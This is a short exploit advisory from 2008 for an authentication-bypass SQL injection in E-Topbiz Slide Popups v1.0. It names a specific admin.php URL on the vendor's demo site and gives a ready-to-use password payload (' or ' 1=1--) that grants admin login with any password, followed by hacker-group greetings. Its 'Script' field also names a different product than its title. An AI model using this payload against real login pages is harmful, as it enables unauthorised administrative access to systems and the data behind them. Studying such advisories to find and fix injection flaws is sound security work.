E-Topbiz Slide Popups version 1.0 suffers from a SQL injection vulnerability that allows for authentication bypass.
3e48da804475e01a981be5dee6342aa23950d0465da5f38464a519dc0454e307
# 11/07/2008 - You can login as admin with any password, removed /str0ke
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
E-topbiz Slide Popups v1.0 ( Auth Bypass ) SQL Injection Vulnerabilities
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
[~] Script: Saphp Sms Script v 1,0
[~] Script Home Page : http://e-topbiz.com/oprema/pages/slidepop1.php
[~] Author : D3ViL iR@Q
[~] Email : d3viliraq@yahoo.com
--[ D0RK$ ]--
N/A
--[ Exploit <<->> bypass ]--
http://e-topbiz.com/trafficdemos/slidepop1/admin.php
pass : DeViL-iRaQ ' or ' 1=1-- ( or u can use ' or 1=1-- )
--[ Greetz ]--
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
Hussin X , Iraqi Diver , IRAQ_JaGUaR , Xman_Aliraq , GneX The HaCkeR Iraqi , Red Virus
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=